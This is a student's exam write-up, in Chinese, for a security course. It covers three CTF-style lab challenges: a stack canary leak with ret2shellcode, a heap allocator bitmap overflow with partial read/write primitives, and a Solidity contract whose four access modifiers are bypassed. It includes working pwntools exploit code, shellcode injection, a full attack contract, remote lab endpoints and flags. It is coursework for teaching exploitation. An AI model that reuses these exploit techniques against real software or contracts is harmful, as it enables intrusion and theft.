Final: 期末测试
[!ABSTRACT]
俞仲炜 3220104929 250107
01 - stack final (30 pts)
[!NOTE]
本题需要通过 ret2shellcode 来进行利用
远程环境位于: IP:
8.154.20.109
, PORT:10601
。分值说明 (
30 pts
) :
- 成功获取 canary 内容 (10 pts)
- 成功泄漏栈地址 (10 pts)
- 成功跳转到 shellcode 并获取 shell,执行 flag.exe 获取 flag (10 pts)
检查目标文件
- 有 canary
- stack 可执行
泄露 canary
在本地通过 sendline
给目标程序提供写入 buffer
的 payload,从 19*"A"
开始一个个测试,每次增加一个 "A"
,发现增加到 24*"A"
时接收到了如下内容:
说明此时 sendline
的最后一个字符 回车 \xa
已经覆盖到了 canary 最低处固定存在的 \x00
从此处开始截取的 8 byte 即我们需要的 canary 的值(注意要减去 0xa
)
泄漏栈地址
old rbp
是 main
函数的栈基地址,也就是我们要找到栈地址,其紧挨着 canary 高处,故在泄露 canary 的同时也泄露了栈地址,观察上图发现 old rbp
只有 6 byte,可知其最高的两个 byte 为 \x00
泄露 canary 和栈地址相关代码如下:
p.sendline(b"A" * 24)
p.recvuntil(b"A" * 24)
canary = u64(p.recv(8)) - 0xa
old_rbp = u64(p.recv(6) + b"\x00\x00")
获取 shell
我们现在希望往 stack 上塞一坨拿 shell 的指令,并通过覆盖 ret addr 使得执行流走到 stack 以执行这坨指令
首先需要保证 canary 完好无损,将获取的 canary 值原封不动地覆盖即可
然后要在栈上找一块地方放 shellcode,由于 buffer
大小不够,我们只能另外找地方;调试时发现,welcome
的 old rbp
正好指向 ret addr
高处,推测是由于 stackload 的函数调用关系为 main
-> welcome
,而 main
函数的 stack 本身并不需要存储 old rbp
和 ret addr
,其本身也没有使用任何本地变量,至于 canary
,说是 “如果没有禁用” 应该是有的,至于为什么这里没有就不得而知了
但无论如何,我们找到了一块可以塞 shellcode 的地方,起始地址就是我们获取的 old rbp
的值,故只需覆盖 ret addr
为 old rbp
,并紧随其后塞 shellcode 即可,在 welcome
函数 return 时就会将执行流劫持到 shellcode 上
获取 shell 相关代码如下:
shellcode = asm(shellcraft.sh())
payload = b"A" * 24
payload += p64(canary)
payload += p64(old_rbp)
payload += p64(old_rbp)
payload += shellcode
p.sendline(payload)
print(p.recv())
payload = b"goodbye stack"
p.sendline(payload)
print(p.recv())
p.interactive()
flag 截图
3@5Y!
02 - heap final (30 pts) + (20 pts bonus)
[!NOTE]
- 通过逆向的方式找到堆管理器中存在的问题并描述在报告中 (15 pts)
- 借助 lab-03 中的技巧,完成漏洞利用的主要 primitive/原语 (15 pts)
- 完成弹 shell,执行 flag.exe 取得 flag (20 pts bonus)
通过逆向的方式找到堆管理器中存在的问题并描述在报告中
通过 IDA 逆向 libtiny.so
,注意到函数名列表出现了 bitmap
关键字,在操作系统课程里学过,是用一串 bit 来分别记录各个 frame/page 是否 free 的方法
观察 tiny_alloc
函数,发现堆空间分配的方式是将空间划分为多种固定的大小,根据申请的大小落在哪个区间来决定要分配多大的堆空间
再观察 tiny_alloc_align
函数,发现其通过 bitmap 寻找某类堆空间的空闲空间,每类空间的 bitmap 都有 32 bit,且连续地存储在同一个数组 tinymap
里
注意到其通过一个循环来检查该类 bitmap 的每一个 bit,用变量 i
来记录空闲的那一个 bit 位置,但是却没有考虑边界情况,即如果同一类的 32 个空间都不空闲时,那么 i
经过循环后就会被设置为 32
,并且不会引发错误
而且,边界情况下每次申请得到的 i
都是 32
,也就是说,申请到的空间是同一个
info
和 intro
大小落在同一个区间,都会被分配 0x80
的空间,所以我们可以先申请一个 info
,使其 intro
被分配为这第 33 个空间,然后再让另一个 info
也被分配到这个空间,这样就能通过第一个 info
直接修改第二个 info
的 intro
指针指向的地址
如此,通过修改第一个 info
的 intro
就能实现读取或特定地址的数据
借助 lab-03 中的技巧,完成漏洞利用的主要 primitive/原语 (15 pts)
没能完成,用 03-ethereum final 的 bonus 30pt 填补 T-T 实在抱歉
for i in range(31):
handle_add(b"user", b"pwd", b"intro", b"motto")
user_idx1 = handle_add(b'user1', b'pwd1' b"intro", b"motto")
user_idx2 = handle_add(b'user2', b'pwd2' b"intro", b"motto")
# read
target_addr = b"0x114514"
payload = b""
payload += b"A" * 0x40
payload += target_addr
handle_edit(user_idx1, b"pwd1", b"user1", payload, b"motto1")
handle_show(user_idx2, b"pwd2")
# write
target_addr = b"0x114514"
target_data = b"1110001"
payload = b""
payload += b"A" * 0x40
payload += target_addr
handle_edit(user_idx1, b"pwd1", b"user1", payload, b"motto1")
payload = target_data
handle_edit(user_idx2, b"pwd2", b"user2", payload, b"motto2")
p.interactive()
03 - ethereum final (40 pts) + (30 pts bonus)
[!TIP]
自行学习:
- solidity 的 modifier、unchecked 等语法;
- msg.sender 和 tx.origin 的具体含义;
- extcodesize 的含义和该限制的绕过方法;
在 Solidity 中,modifier
(修饰符)是一种用于修改函数行为的代码块,可以在函数执行前或执行后添加额外的逻辑;_
表示函数主体将在此处执行
[!NOTE]
完成 4 个 modifier 的绕过,编写利用代码,四个 modifier 分别占 10 分。(40 pts)
modifier 1
msg.sender
是当前调用者的地址tx.origin
是最初发起交易的 EOA 账户地址
绕过思路
创建一个中间合约,通过这个中间合约来调用目标合约,使得 msg.sender
为中间合约的地址,tx.origin
是最初发起交易的 EOA 账户地址
modifier 2
extcodesize
是 EVM 的一个指令,用于获取指定地址的代码大小caller()
是一个内联汇编指令,返回当前调用者的地址(与msg.sender
类似)
要求调用者的代码大小为 0,即,调用者必须是一个 EOA 账户,而不是合约账户
绕过思路
只有当合约的构造函数执行完成,合约代码才会保存下来
如果攻击合约在构造函数中进行跨合约调用,那么此时的 extcodesize
返回的关联地址代码长度也为 0,即可判定为 EOA 账户
绕过代码
contract Exploit {
...
constructor(address _targetAddress) {
target = Final(_targetAddress);
bytes8 _key = calculateKey();
uint256 _guess = calculateGuess();
target.play(_key, _guess);
}
...
}
modifier 3
modifier mod3(bytes8 _key) {
unchecked {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_key) == uint64(0) - 1);
}
_;
}
unchecked
是关键字,禁用代码块内的溢出和下溢检查keccak256
用于计算输入数据的 Keccak-256 哈希值abi.encodePacked
用于将输入数据编码为紧凑的字节数组msg.sender
表示当前调用者的地址
即,keccak256(abi.encodePacked(msg.sender))
计算当前调用者地址的哈希值
^
是按位异或运算符
综上,该 modifier 要求:当前调用者地址的哈希值 异或 _key
的结果 bit 全为 1
绕过思路
只需要计算出满足上述条件的 _key
即可,已知: A xor B = C --> B = A xor C
绕过代码
function calculateKey() view public returns (bytes8) {
unchecked {
return bytes8((uint64(0) - 1) ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
}
}
modifier 4
modifier mod4(uint256 _guess) {
bytes32 entropy1 = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
bytes32 entropy3 = keccak256(abi.encodePacked(tx.origin));
bytes32 target = keccak256(abi.encodePacked(entropy1 ^ entropy2 ^ entropy3));
bytes32 guess = keccak256(abi.encodePacked(_guess));
require(target == guess);
_;
}
blockhash
是一个函数,用于获取指定区块的哈希值block.number
是当前区块的编号entropy1
存储当前区块的哈希值entropy2
存储当前调用者地址的哈希值entropy3
存储最初发起交易的 EOA 账户地址的哈希值target
存储三个 entropy 异或结果的哈希值guess
存储_guess
的哈希值
绕过思路
只需要反向计算出满足条件的 _guess
即可
绕过代码
function calculateGuess() view public returns (uint256) {
bytes32 entropy1 = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(address(this)));
bytes32 entropy3 = keccak256(abi.encodePacked(tx.origin));
bytes32 targetHash = entropy1 ^ entropy2 ^ entropy3;
return uint256(targetHash);
}
[!NOTE]
完成最终的合约攻击并拿到 flag,并在实验报告中描述你的思路、攻击方法,粘贴你的目标合约地址、flag、攻击合约源码即可拿到全部分数。(30 pts bonus)
思路、攻击方法已在上文描述
目标合约地址
0xf0242dF817Bf3E1655D3adf3c26fa41630426E03
Tolen
v4.local.nT_cbKupnjmkAdgHW3POUCVGm6UmvZJsgS0LRiNRtjz-WdbwXblwBOJdIdv6LL_48CMkV10wtUFTqJwzocwi-50VMXMkv1sZ8jV3R3BfrBvJOO6BtJqbLQBR0g2pm4uRU2rKTO1EjOxZPAiii-dUYU7IQpfJJ0u8614yY3Gpi_s76Q
Flag
Re@11y eNjOyed, 7hAnk5!
攻击合约源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./source.sol";
contract Exploit {
Final target;
constructor(address _targetAddress) {
target = Final(_targetAddress);
bytes8 _key = calculateKey();
uint256 _guess = calculateGuess();
target.play(_key, _guess);
}
function calculateKey() view public returns (bytes8) {
unchecked {
return bytes8((uint64(0) - 1) ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
}
}
function calculateGuess() view public returns (uint256) {
bytes32 entropy1 = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(address(this)));
bytes32 entropy3 = keccak256(abi.encodePacked(tx.origin));
bytes32 targetHash = entropy1 ^ entropy2 ^ entropy3;
return uint256(targetHash);
}
}